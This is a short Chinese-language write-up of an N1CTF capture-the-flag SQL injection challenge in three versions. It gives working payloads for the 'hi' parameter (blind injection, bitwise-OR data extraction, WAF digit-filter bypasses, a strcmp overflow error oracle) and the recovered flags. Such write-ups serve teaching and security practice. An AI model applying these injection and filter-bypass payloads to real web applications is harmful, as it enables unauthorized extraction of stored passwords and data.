N1CTF的一道注入题的三个版本,注入点相同:
77777
第一版,首先分析这个格式化字符串:
$q=sprintf("UPDATE users SET points=%d%s",$_POST['flag'],waf($_POST['hi']));
- flag这个位置最终通过%d格式化成数字,无法注入
- hi这个位置虽然要经过waf函数,但最后是通过%s格式化成字符串的,也许可以注入
这里我们发现每次提交给的flag值最终会在profile中的分数中显示出来,语句执行所以这里有两种思路:
- 把要查询的数据转化成数字计算到points中
- 通过能否成功更新points的值盲注
盲注:
flag=0&hi=and ord(mid((select password where username = '77777'),1,1)) > 1
位或
flag=0&hi=|conv(hex(substr((select password),1,1)),16,10)
flag
n1ctf{helloctfer23333}
77777 2
一样存在回显,根据提示字段名称变成了pw,仍然是上面两总思路,但是发现盲注的函数彻底被waf了,于是只能尝试第二种方法。
flag=0&hi=|conv(hex(substr((select pw ),1,1)),16,10)
- 这里有很多的坑,首先是pw后面如果连上括号被waf
- 另外是
2 3 4 5 9
这几个数字被waf了,所以可以用没过滤的数字算出来,1+1+1+1这种 - 或者用length函数计算得出,length(‘11’)==2
- 一位一位的查看回显分值即可
hahah777a7aha77777aaaa
LOVE Q
第三版,将分数回显去掉了,hi参数过滤了一堆东西,最终发现位或运算并没过滤,数字2,9没有被过滤,利用mysql如下特性,并且strcmp比较可以返回(0,1,-1)
mysql> select (0|1),(0|0),(0|-1);
+-------+-------+----------------------+
| (0|1) | (0|0) | (0|-1) |
+-------+-------+----------------------+
| 1 | 0 | 18446744073709551615 |
+-------+-------+----------------------+
1 row in set (0.00 sec)
出现溢出错误,则返回中存在sorry字符串,构造payload,sorry前面的那个就是正确的值
flag=0&hi=|strcmp(substr(pw,9-2-2-2-2,9-2-2-2-2),'a')
最终通过各种9和2的组合替换substr的第二个参数,strcmp的第二个参数由a-z爆破,最终的得到flag:
flag{hhhhccchhddddahhhhhh}
但这里strcmp貌似是不区分大小的,所以这里走运全是小写